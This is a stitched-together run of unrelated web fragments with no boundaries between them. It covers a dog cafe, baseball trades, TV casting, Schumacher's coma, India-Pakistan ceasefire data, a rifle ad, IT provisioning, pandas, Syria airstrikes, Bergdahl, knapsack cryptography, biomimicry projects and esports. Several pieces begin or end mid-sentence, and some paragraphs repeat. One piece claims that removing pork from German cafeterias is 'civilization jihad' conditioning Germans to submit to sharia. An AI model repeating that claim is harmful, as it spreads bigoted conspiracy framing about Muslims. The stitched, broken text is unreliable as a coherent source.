Let’s see, there was Stinky, Stanky, Stupid and Stonky. We sat down on chairs and pet whatever dog forced his way between our legs. The big ones were more successful in this, particularly the black lab who got to know my crotch on a rather intimate basis. One nasty little white dog in a coat decided to try adopting me, and sat at my feet shivering and snarling at anyone else who got too close. I didn’t really want to cuddle with her, but felt bad shooing away something so rotten and alone.
We moved into a separate area for the smallest dogs, and I found my favorite of the day: a snow-white Pekingese, so soft, cuddly and pliable. He had no problem with me picking him up, and immediately settled into a comfortable position on my lap. Jürgen welcomed a little pinscher onto his lap — two Korean girls who were there petting poodles told us that the pinscher was, and I quote, a “whore”.
The cafe was a blast; the dogs were cute, funny and friendly, and we had a great time playing with them, although we did stink like hell when we left. I’m surprised that more doggie stores don’t offer a place for people to sit and play with their dogs. Especially in a city like Busan, where apartments are small and schedules are hectic, dogs are a luxury that don’t fit into most people’s lives. A place like this, where you can come and get your puppy fix, seems like a no-brainer. And I’m sure the dogs love it.
Location on our Busan Map
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TSHIRT_3769If there is fire where there is smoke, Chase Headley could burst into flames any day now.
At least seven teams have expressed interest in acquiring the Padres third baseman before the July 31 trading deadline.
“I’ve heard between six and 10 teams,” admitted Headley, who talked with his agent Wednesday about his future.
“Your guess is as good as mine,” Headley said Thursday afternoon. “All I hear is the Padres are asking a lot for me.”
Headley takes that and the fact that teams are seeking his services as a component to a late-season title push as compliments.
Among the teams pushing hardest for Headley are the Pittsburgh Pirates (Headley has a.333 batting average at PNC Park in Pittsburgh) and the Baltimore Orioles. But the list of candidates ranges from the Dodgers and Diamondbacks from the National League West to the rebuilding Seattle Mariners.
The Padres are in position to ask a lot for Headley. Third base is a down position around the major leagues and most contenders would like to improve at the spot. Headley is hitting.268 with 10 homers and 46 RBI. He is hitting.279 with eight homers and 26 RBI in 46 games away from Petco Park.
Over the course of his career, Headley is hitting.299 on the road compared to.234 at Petco Park. Sixty-three percent of his career homers and 57 percent of his career RBI have come on the road.
The 28-year-old Headley is also a solid defender.
Third base also happens to be one of the deeper positions in the Padres system. Logan Forsythe, 25, is a natural third baseman. And 23-year-old Jedd Gyorko is hitting.351 with 15 homers and 54 RBI in 54 games with Triple-A Tucson while splitting time between third and second.
If the Padres trade Headley now, they could expect to get at least two top prospects in return. If they wait to trade him until after the season, they likely would receive a major league player plus a prospect. No contending team trading at the deadline is going to give up a proven major league player.
“I understand what is going on,” said Headley. “I love playing here. But I understand everything that has to be considered.”
While Headley has drawn the most interest from other teams, closer Huston Street and outfielder Chris Denoria are also being pursued more than left fielder Carlos Quentin.
But the Padres might not be making wholesale deals at the deadline. Padres general manager Josh Byrnes last week said: “We want to build. We’re not going to blow this up. I think we’re closer than people think. The injuries have really crippled some things we expected to see this season.”
The Padres have a mutual option on Street for $9 million next season and have said they are interested in discussing an extension with San Diego product Carlos Quentin.
Padres notes
--Left-handed Eric Stults allowed one run on four hits and two walks in his second rehab start for Triple-A Tucson Wednesday night. “The report from (Tucson manager) Terry Kennedy is that he threw much better this time,” said Padres manager Bud Black. Stults, who has been on the disabled list since June 4 with a strained left latissimus dorsi muscle, will make at least one more start at Tucson before returning to the Padres rotation.
--The Padres are shutting down right-handed starter Donn Roach, who is 11-2 with a 1.88 ERA between the Single-A California League and Double-A San Antonio. The Padres ay he has reached his innings pitched limit (105 1/3).
--First baseman Yonder Alonso has set a Padres franchise record for rookies for having the combination of two hits and three RBI in back-to-back games. Alonso has 12 RBI in his last 13 games after having 18 in the Padres first 81 games |
out. And Lulu was as quiet as a mouse for the entirety of the trip. But Bubba! Cantankerous, anxiety-prone, almost-14 year old Bubba? He whined and cried and poked his head out of the carrier and made certain I didn’t sleep a wink either.
But the important thing is we’re back home. And look at what was awaiting us, a little gift from our house-sitter, Tomomi:
Yep, it’s a hand-painted depiction of the diabolical duo doing what they do best…impatiently awaiting treats.
So, hey, while I was in the air, things were happening on the ground. First up, Entertainment Weekly offered fans exclusive photos of new Dark Matter cast additions: Franka Potenta, Melanie Liburd, and Shaun Sipos…and also announced the casting of Stargate veteran Mike Dopud (who has been in pretty much every live action show I’ve ever produced), and Scott Pilgrim’s Knives Chau, Ellen Wong.
“Dopud will play Arax, “the powerful head of a prison gang” whose “extensive connections and pull with criminal outfits throughout colonized space would be Arax’s biggest asset should the crew ever decide to trust him,” Syfy said. Wong will portray Misaki, described as a “close childhood friend of Four” who is the “deadly new Commander of the Ishida Royal Guard. Skilled in combat and diplomacy, nothing will stop Misaki from performing her duty to Zairon.”
Franka as Commander Shaddick…
Melanie Liburd as Nyx Harper…
Shaun Sipos as Devon Taltherd…
Mike Dopud, behind the scenes, as Arax Nero…
Ellen Wong, behind the scenes, as Misaki Han…
Meanwhile, over on Io9 gives the rundown of How Dark Matter and Killjoys are raising the stakes for season 2.
Hey, look! It’s me demonstrating proper use of the escape pod!
With less than a month to go, we start rolling out some major behind the scenes goodies. Stay tuned to this blog for oodles of Dark Matter fun stuff!
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Like this: Like Loading...CP photos by Jake Mysliwczyk
That there’s an R.V., Clark!
Residents in two suburban Pittsburgh neighborhoods are upping their decorating game this season, with a tribute to holiday favoriteand another street filled with lights that would make Clark Griswold himself proud. A replica of’s Cousin Eddie’s R.V. sits outside a Bethel Park home on McMurray Road, complete with Snot the dog and a mannequin holding a sewage hose. (“Merry Christmas. Shitter’s full!”)Be sure to check out the scene at night when the house lights up, highlighting a life-sized doll hanging from the roof."Is your house on fire, Clark?""No, Aunt Bethany, those are the Christmas lights."After checking out Pittsburgh's own Griswold house, head 20 minutes to Glenburn Drive in Pleasant Hills and take in the light displays of multiple houses going all out for the holidays. The street was a big hit for the kids checking out the scene when we were there.What happens when you push the button? Santa dances and sings!Nichols-Buckley (Photo: Submitted Photo)
Though I am disappointed that Mississippi Superintendent of Education Carey Wright crumbled under political pressure and rescinded President Obama’s directive, which calls for schools to immediately allow transgender students to use the restroom of their choice, I can understand why she did it.
The vitriol, mostly derived from fear of the unknown, though often shoddily justified by people’s personal religious “beliefs,” is rampant in conversations and on both social media and talk radio. Many editorials are riddled with fear-mongering, as columnists claim our daughters will be subject to grown men in public restrooms and that this law gives sexual predators free reign. Any and everything is being said to distract people from the inspiration behind the president’s actions: Transgender students have and will continue to suffer tremendous amounts of abuse until this directive is supported and implemented by those whose job it is to protect students.
I am a straight, Christian, married mother. I am also a teacher. And I find no objection, moral or otherwise, in supporting a directive that would allow students to use the bathroom that aligns with their gender identity. I have witnessed the brutal bullying that LGBT youth have to endure, from their peers, from their parents, even, at times, from their teachers, the people we trust most to provide safety and security for our children.
Currently around 75 percent of transgender students do not feel safe at school. More than 50 percent of transgender students will try to kill themselves before their 20th birthday. These students deserve our protection. We are the adults, yet we are acting like children.
Recently, I read an argument where the author stated, “For any parents who may be reading this and have a daughter in the eighth grade, the guideline means teenage boys go into in the restroom with your little girl. For you fathers who were once teenage boys, is that what you want?”
I find this disturbing on a number of levels. The first is that it automatically equates a transgender individual with a sexual predator. This is despicable and is certainly a moral outrage. Secondly, I am disturbed at the latter argument — that there are swarms of teenage boys who will pretend to be transgender simply to commit sex crimes in bathrooms.
If this is the case, then perhaps we in the heterosexual community have a lesson to learn here: It’s time to teach our students, boys and girls alike, to have respect for one another. We have to teach all of our children to treat others with the dignity they deserve as human beings.
That’s exactly what this directive seeks to do.
I have a 5-year-old daughter. I am not afraid of a society that allows people to use inclusive restrooms. I am afraid of a society that intentionally refuses to feel empathy for the vulnerable and misunderstood, often citing religion as justification. I am afraid of a society that dehumanizes individuals of difference.
Amber Nichols-Buckley teaches in the Department of Writing & Rhetoric at the University of Mississippi. Contact her at nicholsbuckley@gmail.com or at asnichol@olemiss.edu.
Read or Share this story: http://on.thec-l.com/1t9mzEZFormula 1 great Michael Schumacher suffered a serious head injury in a skiing accident Dec. 29, 2013. (Photo: Stuart Franklin, Bongarts/Getty Images) Story Highlights Schumacher has been in a coma for a month after a skiing accident
Manager says Schumacher's sedation is being reduced
Prognosis could take months and lasting brain damage is a possibility
FRANKFURT, Germany (AP) — Michael Schumacher's doctors have started trying to wake up the former Formula One Champion from the medically induced coma he's been in since a skiing accident last month, his manager said Thursday.
The 45-year-old Schumacher suffered serious head injuries when he fell and hit the right side of his head on a rock in the French resort of Meribel on Dec. 29. The seven-time F1 champion has been in an induced coma in Grenoble University Hospital since then, although his condition stabilized following surgery after initially being described as critical.
"Michael's sedation is being reduced in order to allow the start of the waking up process which may take a long time," Schumacher's manager, Sabine Kehm, said in a statement. Schumacher was being kept artificially sedated and his body temperature was lowered to between 34 and 35 degrees Celsius (93.2 and 95 degrees Fahrenheit), to reduce swelling in the brain, reduce its energy consumption and allow it to rest.
Kehm said she was only providing an update now on Schumacher's condition to clarify media leaks, and that no further details would be provided. French newspaper l'Equipe first reported on Wednesday that doctors had started trying to wake up Schumacher.
INITIAL STORY: Schumacher suffers serious head injury
Experts said it was a good sign that Schumacher's doctors were trying to bring him out of the coma and that the first 24 hours would be critical.
"It means they have probably seen the pressure in his skull reduced," said Dr. Clemens Pahl, a brain trauma expert at King's College Hospital in London.
MORE: Formula One drivers support Schumacher at test
Pahl warned that if Schumacher hasn't recovered enough to wake up on his own, doctors might need to put him back in the coma.
"It could be that swelling in his brain hasn't come to an end yet so they might need to increase the medications again," he said. Pahl said that wasn't uncommon in patients with brain injuries and that sometimes it took several attempts to bring someone out of an induced coma.
Brain experts said it will be fundamental to determine whether Schumacher was aware of his surroundings and could respond to basic commands from doctors, like raising his hand.
"This is a test to see what his function is like," said Dr. Anthony Strong, an emeritus chair in neurosurgery at King's College London. He said that once the sedatives wear off, Schumacher's doctors would see if he can breathe on his own and if he responds to mild pain stimulus, like gentle pressing on his eyebrows.
"Doctors will want to see if he can say 'hello,' if he probe his recollection of events and to see if he can recognize family members and remember his own identity," Strong said. If Schumacher doesn't respond to their voice, they will also look to see if he tries to pull out any of the tubes in him or rip the dressing off his wounds — which would be a sign that he is aware of where he is.
Still, experts said it would likely be months before Schumacher's prognosis becomes clear — and that lasting brain damage was a possibility.
"If he pulls through, he may not be the man he was," said Dr. Tipu Aziz, head of neurosurgery at Oxford University. "Given the length of time he's been in (intensive care), he has clearly had a very severe head injury," he said. "It's too early to know how intact he will be, but I would guess there is going to be some kind of lasting damage."
Schumacher earned universal acclaim for his uncommon and sometimes ruthless driving talent, which led to a record 91 race wins. He retired from Formula One in 2012 after garnering an unmatched seven world titles. His accident happened on a family vacation in the Alps as Schumacher was skiing with his 14-year-old son.
PHOTOS: SCHUMACHER'S CAREER IN PHOTOS
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A section of the border fencing along the Line of Control in Jammu and Kashmir.
One Indian civilian was killed in a ceasefire violation by Pakistani troops in the Pargwal sector of Jammu and Kashmir (J&K) on August 4, 2015.
One Indian army jawan was killed in a sniper attack by Pakistani troops in Poonch district of J&K on July 30, 2015.
Two Border Security Force (BSF) jawans were killed on July 5, 2015, and July 9, 2015, in firing by Pakistani troops across the Line of Control in J&K. The second incident took place before a bilateral meeting between Indian Prime Minister Narendra Modi and his Pakistani counterpart Nawaz Sharif in Ufa, Russia.
“Ceasefire violations” by Pakistan along its border with India have increased nine times from 2011 to 2014, according to data tabled in the Rajya Sabha. The ceasefire agreement it refers to was signed 12 years ago.
As many as 1,106 violations were reported in the four-year period; 199 were reported till June 30, 2015.
Pakistani Ceasefire Violations Along India-Pakistan Border (According To India) Year Ceasefire Violations Ceasefire Violations Along LoC Ceasefire Violations Along International Border 2011 62 51 11 2012 114 93 21 2013 347 199 148 2014 583 153 430 2015* 199 NA NA
Source: Rajya Sabha, 1, 2 and 3; *Up to June 30, 2015
Indian security forces have strongly retaliated, killing Pakistani security forces, terrorists and citizens. Pakistan, in turn, accuses India of similar ceasefire violations and has even filed a complaint with the United Nations Military Observers Group in India and Pakistan (UNMOGIP).
Cross-border firing by Pakistani security forces from 2011 to 2013 was concentrated along the Line of Control (LoC) that separates the part of J&K administered by India from Pakistan-Occupied Kashmir (PoK).
The trend saw a reversal in 2014; 74% of the firing was concentrated along the international border of the Indian states of Punjab, Gujarat and Rajasthan.
2014, a particularly volatile year
There were 583 ceasefire violations by Pakistan in 2014, according to data tabled in the Lok Sabha. That is an average of one incident every 15 hours, resulting in the total deaths of four army soldiers, one BSF jawan and 13 civilians in 2014.
Border Firing: The Casualties In India Year Army Soldiers Killed Along The LoC Civilians Killed Civilians Injured Security Personnel (Army + BSF) Injured 2013 10 0 26 32 2014 4 13 101 33 2015* 2 2 NA NA
Source: Lok Sabha, Rajya Sabha; *Up to June 30, 2015
As many as 101 civilians and 33 security personnel (Army + BSF) were injured, and 128 private structures/properties suffered damage.
Infiltration Attempts From Pakistan
India accuses Pakistan of being a state sponsor of terror and that ceasefire violations by its security forces are an attempt to provide cover to terrorist incursions.
As many as 945 incursions from Pakistan have been recorded between 2012 and 2014. Indian security forces killed 38 terrorists in 2013 and 36 in 2014 (till October 31, 2014), as they attempted to cross the LoC; 42 incursions were reported in 2015 (till June 30, 2015), leading to the deaths of eight.
Incursions By Pakistani Terrorists Reported Along Indo-Pakistan Border (As Claimed by India) Year 2012 2013 2014 2015* Cases 332 345 268 42
Source: Lok Sabha, 1, 2; *Up to June 30, 2015
Indian security forces cannot stop incursions. India’s Home Minister Rajnath Singh said that terrorists responsible for the recent Gurdaspur and Udhampur attacks crossed the border.
The rise in ceasefire violations indicate worsening relations, which have been particularly tense after the Modi government called off foreign-secretary-level talks with Pakistan in August 2014, in reaction to the Pakistani envoy’s meeting with Kashmiri separatists.
“Ever since the Modi government has come to power, Pakistanis have upped the ante to test India’s resolve,” according to veteran journalist and national security expert Nitin Gokhale. “And after the foreign secretaries talks were called off, Pakistan wants to keep the pressure on.”
To counter Pakistan’s ceasefire violations, the Indian government ordered its troops last October to retaliate by “firing at will”.
This strategy, part of a tougher foreign-policy stand taken by the Modi government, is aimed at deterring further ceasefire violations. However, some argue this is ineffective, leading instead to further escalation in tensions.
Escalation may raise fears of the possibility of war between India and Pakistan but as IndiaSpend reported earlier, mutual deterrence induced by possession of nuclear weapons and effective warhead delivery mechanisms ensures that the status quo between both countries remains in place.
“Covert operations and disproportionate response are two options which the Indian government should consider while countering Pakistan,” Gokhale said.
“Treading the middle path remains the only option for India in dealing with Pakistan as lack of engagement tends to result in border violations,” said Ramya P.S., research fellow at International Strategic and Securities Studies Programme, Bangalore.
To break the deadlock between the two countries, leaders from both sides agreed to restart bilateral talks during their meeting in Ufa, Russia.
This includes a meeting later this month between India’s National Security Advisor Ajit Doval and Pakistan Prime Minister’s Adviser on National Security and Foreign Affairs Sartaj Aziz.
As Gokhale warns, “don’t expect much headway in the talks.” ■
(Sethi is an analyst with IndiaSpend.)
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The Smith & Wesson M&P 15 Sport II Rifles are the ideal modern sporting rifle. Built to perform multiple uses under various conditions, M&P15 Rifles are versatile as they are reliable. Engineered for a wide variety of recreational, sport shooting, and professional applications, M&P15 Rifles are lightweight and rugged embodying the best combination of function and form.An industry leader since 1852, Smith & Wesson is one of the world's largest firearms manufacturers. With the release of the Volcanic pistol, the first American firearm capable of firing a fully self-contained cartridge, S&W cemented their name in history as an innovative firearms manufacturer. Through the years they continued to bring new designs loved by civilians, police, and military, eventually leading to their highly popular, striker fired M&P pistols. The variety of firearms from concealed handguns to precision bolt action rifles combined with S&W’s unmatched reliability and history are the reason they stand out from the crowd.Self-service provisioning can accelerate testing and programming efforts while reducing IT management and development costs. But only if you pay attention during its adoption, says HPE's Brian Besand.
Imagine this scenario. Back in the mists of time—say, a couple of years ago—a software developer needed to set up a test environment for an enterprise IT project. She approached the task with a deep sigh, knowing it would take a while. First, the developer filed a ticket with the IT department, listing the resources she'd need, such as a virtual machine with a certain operating system and system tools installed. Then, she met with IT to justify the resources; waited for the capacity to free up from some other project; waited for someone in IT to implement her configuration; and had a troubleshooting meeting with IT because they did it wrong (or she gave them a wrong spec). Finally, days or even weeks later, the developer had an environment ready for testing.
You might recognize that process all too well, because you've experienced it yourself. A developer simply needs a set of technical resources, yet somehow that leads into a frustratingly long and laborious negotiation process with lots of yak shaving.
Fortunately, it no longer works that way—or at least it doesn't have to.
One practical benefit of cloud computing and DevOps is the emergence of self-service provisioning (sometimes called automated provisioning), whereby tech-savvy users (such as developers) set up or launch a service or application without the active participation of dedicated IT personnel. The requested services are provided in an accurate configuration and on an accelerated timeline. They are bound by IT's policies but without IT's manual involvement.
"The prime advantage of automated provisioning in the cloud is quite simply the automation, predictability, and speed of preparing a resource for an internal or external customer," says Vic (J.R.) Winkler in his book, Securing the Cloud. This way of exposing and allocating cloud computing resources makes life easier for the developer, enables faster results for application owners, maintains compliance and security protocols, and gives more predictable automation to IT staff. And it probably means less hissing and spitting in interdepartmental meetings when the developer discovers that Todd in IT set up the server with the wrong configuration…again.
As a result, that same developer today can order the resources for her test environment using a portal that looks like an e-commerce site or directly through an API. And it is set up in minutes. Correctly. The first time.
Self-service provisioning lets everyone focus on serving customers instead of wrestling with a bespoke business process. "That's really the end goal," says Brian Besand, a product marketing manager at Hewlett Packard Enterprise. "Not just to spend less time provisioning infrastructure, but to reinvest that efficiency, and to bring better products and services to market faster."
Predefining upfront
Some IT administrators may worry that self-service provisioning gives users the ability to do whatever they want, with whatever data they want, at any expense. That never ends well.
However, in its efforts to keep the organization safe and ensure it stays up and running, IT already defines the "who has access to what" policies. Self-service provisioning is simply a shift into defining those policies ahead of time. The mental shift necessary is to move into a model of predefining "yes" and "no."
A good self-provisioning infrastructure gives IT more control and predictability. "It uses role-based management, increases visibility across resources, integrates with existing identity management systems, and gives administrators greater control over who is doing what where," Besand says. Self-service provisioning lets administrators limit who has access to a certain type of data, identify which teams can spin up resources in its data center on the other side of the world, and keep an eye on expenditures.
How the right infrastructure can prepare your data center for business disruptors Download report
Besand argues that shadow IT is a much riskier proposition than self-service provisioning. Shadow IT happens when developers go off the reservation to provide their own resources from the public Internet or in-house systems. "Development teams can quickly run into issues with cost, compliance, and data security that could be better handled in-house," he adds.
Self-service provisioning can help IT admins avoid data breaches or noncompliance issues, because the provisioning solution—whether homegrown or a customized utility—can keep users from accessing systems they shouldn't or taking data somewhere that isn't permitted. And, ideally, the in-house system should be good enough that users aren't motivated to look at shadow IT options.
Start small and iterate
As with other shifts in business processes—even, and especially, good ones—it's sensible to start with a small project before deploying widely. "Make mistakes when they're small, and make them fast," says Besand. "Bring a startup and agile mentality into the workplace."
It's important to assess where you are right now (What systems are you using? What are the limitations?) and where you want to be (What systems do you want to use? In what manner? Who should have access to what?).
There are plenty of resources to help you get started with self-service provisioning, including a site with design patterns to guide you in designing cloud authentication processes or resource workload management, and expert advice about setting customization limits and managing approval flows.
Besand advises any enterprise IT department to work with a trusted advisor. "We're not just talking about a new piece of software," he says. "We're talking about a new work style and a new way of looking at your IT resources holistically, and as something that meets the broadest number of users in the fastest way possible."
As with workflow shifts elsewhere in an organization, this does need to be a partnership. "There's no spirit guide to magically tell you the answer," Besand says. "Your IT department already knows what is successful, what is not, what challenges they face, etc. Outsiders can help to connect the dots and get you to where you want to go."
Make sure your implementer can help you choose the right tools (not only the single vendor whose partner program for which the vendor signed up) and knows those tools inside and out. A company that specializes in DevOps processes can work with you to set up the right permissions and workflows, says Besand, and it can help to transform your business so it can use self-service provisioning as efficiently as possible.
Adopting self-service provisioning: lessons for leadersCameras capture panda urinating while doing handstand
Apr.19,2015 1180
LANZHOU, April 19 (Xinhua) -- A nature reserve in northwest China's Gansu Province has captured its first film footage of some striking courtship behavior by a male panda -- urinating while doing a handstand.
In the clip shown to media on Sunday, the giant panda pushes his left hind leg up against a tree and starts to urinate on the bark in a half upside-down position. He then gets down, walks to another tree some 10 meters away, smells it for a moment and repeats the action.
The video was taken on January 15 at the Baishuijiang National Nature Reserve using infrared cameras. This technology, installed about three years ago, has been helping the reserve record valuable evidence of behavior among the reclusive inhabitants of the forest.
Reserve staff explained that urinating in a handstand position is a common courtship act by giant pandas. The urine contains pheromones and the scent can spread further, attracting more potential partners, if the urine is higher up a tree.
At the same time, pandas also use their urine to mark territory and warn members of the same sex to stay away, increasing their chances of mating.
Covering over 200,000 hectares, the Baishuijiang reserve is one of China's largest habitats for wild pandas. Census data shows that there are 132 pandas in the province, 110 of them in Baishuijiang.
Yuan Fengxiao, head of the reserve's management bureau, said the infrared cameras have also captured footage of rare species including takins, golden monkeys, forest musk deer, Chinese monals and golden cats. EnditemBratwurst sausages and other pork products are at the heart of German cuisine, but could offend Muslim immigrants.
In a move that endangers a major sector of German agriculture, there is an effort to ban pork sausages from public cafeterias in schools, hospitals, nurseries, and elsewhere. Judged as a portion of tax revenue, pork agriculture accounts for nearly a fifth of the local economy in Germany’s Schleswig-Holstein region. Pork sausages are at the very heart of Germany’s traditional cuisine. Yet the decisions have been made in many parts of Germany to simply remove pork from public life.
There is some opposition to the move to strip pork sausages from Germany.
“The protection of minorities – including for religious reasons – must not mean that the majority is overruled in their free decision by ill-conceived consideration,” said [parliamentarian Daniel] Guenther, as quoted by Deutsche Welle, arguing that tolerance must mean “the appreciation and sufferance of other food cultures and lifestyles.”
In the face of similar pressures, a city in Denmark recently passed a law that mandated pork be on the menu in public spaces. The Danish government says that this is to protect its traditional culture, including its food culture. Muslim advocates say that it is to try to limit Islamic immigration to the city by creating a hostile environment.
The moves to get pork removed from the menus of public cafeterias are either a case of self-censorship by Germans, or a case of civilization jihad. If they are self-censorship by German institutions, they may still be motivated by advice from branches of the Muslim Brotherhood received at the highest levels of the German government. In either case, the move serves the purposes of civilization jihad: it prepares the German people to submit to Islam. They are becoming conditioned to living under sharia law — in this case, to accepting the absence of pork from their menus, even though it means disposing of aspects of their traditional culture that they may quite value.
For some reason, no one describes this as “creating a hostile environment” for Germans or Danes. When someone moves to create a public space in which core expressions of your traditional culture are banned as offensive, that someone has engaged in a hostile act. If a Western government were to go to an Islamic country and ban some traditional aspect of the culture, we would describe it as “imperialism” or — for those most committed to the idea that this is wrongful behavior — “cultural genocide.”
For some reason, when our own government does it to us, we accept it as justice. Must our traditional cultures be dissolved to make way for Islam?The United States launched its first airstrike into Syria from Turkey, the Pentagon confirmed on Wednesday. It was carried out on Tuesday by a remotely piloted aircraft which took off from Incirlik Air Base near the Syrian border.
It is the latest step in a bolder U.S. campaign of engagement against militants inside Syria, particularly the Islamic State of Iraq and Syria (ISIS.)
Turkey and U.S. to set up "safe zone" within Syria
The Pentagon said Monday the military for the first time conducted armed drone missions out of Turkey last weekend, and is planning to conduct manned aircraft flights from Incirlik Air Base.
The use of the Incirlik base comes as the U.S. expanded its combat in Syria, launching airstrikes on Friday to defend rebels under attack by the Nusra Front, al-Qaeda's branch in Syria.
Turkey, which spans the intersection of Europe and Asia and borders the Middle East, had long been reluctant to join the U.S.-led coalition against ISIS. But in mid-July it gave the U.S. permission to use the key air base to launch airstrikes in Syria
Turkey grants U.S. key access in fight against ISIS
On Tuesday U.S. officials said five Pentagon-trained fighters had been captured, probably by al-Nusra. The Pentagon had lost track of some of the fighters who apparently had scattered, CBS News' David Martin reported.
"It's a friggin' mess," one official had said.
These fighters are part of the original band of 54 fighters sent into Syria. Their compound, which they share with another moderate opposition group known as Division 30, was attacked on July 31. That attack was repelled with the help of U.S. air strikes.
CBS News' Martin reports that in the late July attack, one Pentagon-trained fighter was killed and eight Division 30 fighters were wounded. 30 of the attackers, believed to be al-Nusra, were killed. It's not clear how the five were captured except that it was some time after the attack on the compound.
This is a developing story. Please check back for updates.President Trump tweeted Friday that a judge’s decision to not give Sgt. Bowe Bergdahl any jail time for deserting his post is a “complete and total disgrace.”
“The decision on Sergeant Bergdahl is a complete and total disgrace to our Country and to our Military,” Trump tweeted.
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The judge, Col. Jeffery R. Nance of the Army, gave Bergdahl a dishonorable discharge, reduced his rank to private and said he must forfeit pay equal to $1,000 per month for 10 months. But he decided Bergdahl should not serve prison time.
Despite Trump’s anger at the outcome, his own comments may have helped lighten Bergdahl’s sentence. The defense attorneys argued that Bergdahl could not receive a fair sentence because as a presidential candidate, Trump repeatedly called him a “dirty, rotten traitor” and suggested he be executed or thrown from a plane without a parachute. Nance said he hadn’t been influenced by Trump’s remarks, but said Monday, “I will consider the president’s comments as mitigation evidence as I arrive at an appropriate sentence.”
In October, Bergdahl pleaded guilty to desertion and endangering the troops who searched for him. He left his post in Afghanistan in 2009 and spent five years in captivity by the Taliban. President Obama engaged in a prisoner swap to bring Bergdahl home in 2014.
Write to Tessa Berenson at tessa.berenson@time.com.The encryption codes that safeguard internet data today won't be secure forever.
Future quantum computers may have the processing power and algorithms to crack them.
Nathan Hamlin, instructor and director of the WSU Math Learning Center, is helping to prepare for this eventuality.
He is the author of a new paper in the Open Journal of Discrete Mathematics that explains how a code he wrote for a doctoral thesis, the Generalized Knapsack Code, could thwart hackers armed with next generation quantum computers.
The paper clarifies misunderstandings about the complex field of public key cryptography and provides a common basis of understanding for the technical experts who will eventually be tasked with designing new internet security systems for the quantum computing age.
"Designing security systems to protect data involves experts from many different fields who all work with numbers differently," Hamlin said. "You are going to have pure and applied mathematicians, computer programmers and engineers all involved in the process at some point. For it to work in real life, all of these people need to have a common language to communicate so that they can make important decisions about how to safeguard online transactions and personal communications in the future."
Preparing for the future
Quantum computers operate on the subatomic level and theoretically provide processing power that is millions, if not billions of time faster than silicon-based computers. A hacker armed with a next generation quantum computer could in theory decrypt any internet communication that was sent today, Hamlin said.
In order to create an online security system better prepared for future demands, Hamlin and retired mathematics professor William Webb created the Generalized Knapsack Code in 2015 by retrofitting a previous version of the code with alternative number representations that go beyond the standard binary and base 10 sequences today's computer use to operate.
In his paper, Hamlin breaks down how the generalized knapsack code works in terms that computer scientists, engineers and other experts outside the field of pure mathematics can understand. He explains that by disguising data with number strings more complex than the 0s and 1s conventional computers use to operate, the generalized knapsack offers a viable security method for defending against quantum computing hacks.
"The Generalized Knapsack Code expands upon the binary representations today's computers use to operate by using a variety of representations other than 0s and 1," Hamlin said. "This lets it block a greater array of cyberattacks, including those using basis reduction, one of the decoding methods used to break the original knapsack code."
Hamlin said his hope is that his paper, Number in Mathematical Cryptography, clears up misunderstandings he has run into professionally so that the generalized knapsack code can be developed for future use.
"Quantum computing will change how we handle data and we, as a society, are going to have to make some important decisions about how to prepare for it," Hamlin said. "A code like this can be implemented on conventional hardware and yet it would also be secure from a hacker with a quantum computer. I think it is time for us to consider this code very seriously for adapting commerce and perhaps communication in light of the possibility of quantum computing."
###Nintendo European Research & Development (or NERD), formerly known as Mobiclip and Actimagine |
, light and humidity and provide climate control, ventilation and lighting without mechanical systems, thereby radically reducing energy use and costs, especially in tropical regions under critical environmental and socio-economic stresses.
are the centerpieces of a technology that could potentially provide inexpensive, biodegradable, living, breathing "skins" for buildings that would auto-regulate in response to heat, light and humidity and provide climate control, ventilation and lighting without mechanical systems, thereby radically reducing energy use and costs, especially in tropical regions under critical environmental and socio-economic stresses. Sistema Biobolsa provides farmers in Mexico, Central America and Haiti with an on-site waste-to-nutrient ecosystem: a biomimetic, modular advanced geo-membrane anaerobic biodigester that converts organic waste into biogas and fertilizer, increasing local capacity and resiliency and boosting health and livelihoods as it provides safe, non-toxic thermal, mechanical, and electrical generation not previously affordable to small farmers. Distributed through innovative micro-financing mechanisms and entrepreneurial capacity building, this project has great potential to boost sustainable farming globally.
provides farmers in Mexico, Central America and Haiti with an on-site waste-to-nutrient ecosystem: a biomimetic, modular advanced geo-membrane anaerobic biodigester that converts organic waste into biogas and fertilizer, increasing local capacity and resiliency and boosting health and livelihoods as it provides safe, non-toxic thermal, mechanical, and electrical generation not previously affordable to small farmers. Distributed through innovative micro-financing mechanisms and entrepreneurial capacity building, this project has great potential to boost sustainable farming globally. Slow Money catalyzes the flow of investment capital into local food economies and place-based enterprises in North America and Europe, seeking to “bring money back down to earth” through communications, education, convenings, investment clubs, liaison services, and shared learning networks. This integrated effort to restore fiduciary responsibility and nurture sustainable enterprises aims for a systemic transformation of food systems and local economies.
catalyzes the flow of investment capital into local food economies and place-based enterprises in North America and Europe, seeking to “bring money back down to earth” through communications, education, convenings, investment clubs, liaison services, and shared learning networks. This integrated effort to restore fiduciary responsibility and nurture sustainable enterprises aims for a systemic transformation of food systems and local economies. Thunder Valley Regenerative Community Plan, born of a collective vision, has created a comprehensive plan to build a locally owned and operated development in the geographic center of the Oglala Lakota Nation, on the Pine Ridge Indian Reservation in South Dakota, one of the poorest and most disenfranchised parts of the country. The goal is to resuscitate the local economy and traditional culture and provide attractive, culturally appropriate affordable housing in the context of a deeply sustainable community with a net-zero built environment that could serve as a compelling, dynamic model for the rest of Indian country and the world.
For further information, please contact [email protected]LW Red rebuilds team for Challengers
LW Red have rebuilt their roster around original members Arcane and Pine alongside NoName who was transferred from sister team LW Blue. Four additional players have joined to create a seven-man roster: ADIOS, ArK, r0ar, and Who.
In the middle of December, before playing in IEM GyeongGi, Luxury Watch shuffled their two rosters together to create a star team and a secondary sister team. Originally it planned the star team to be branded as “Red”, but when the original LW Red roster failed to qualify for APEX Season 2 the star team carried on LW Blue.
The shuffle in December saw Fl0w3r swap out from LW Red, trading with NoName from LW Blue. This was a direct swap of DPS players on the sister teams but made an enormous difference to the level of LW Blue, who have now gone on to be one of the best teams in Korea, winning IEM GyeongGi.
Pine was originally planned to be involved in that shuffle but never played with LW Blue. He returned to LW Red for their promotion games in APEX Super Week, but the team failed spectacularly once again at qualifying for the premiere tournament in Korea. They lost yet again to RunAway, foolishly their choice of opponent, and then were beaten by Afreeca Freecs Red to seal their fate.
The team was faced with another two seasons minimum in Challengers before having another opportunity to make APEX. Beom left LW Red to join Meta Bellum, the Challengers sister team to Meta Athena. There were reports of a LW Red rebuild focused around Pine, which have now been confirmed and announced by Luxury Watch.
Lucio Arcane and DPS Pine remain with the team from their original roster, along with NoName who was traded from LW Blue in December. ADIOS has also joined as a full-time member, previously seen as a replacement during Challengers Season 2 for Fl0w3r who had a wrist injury.
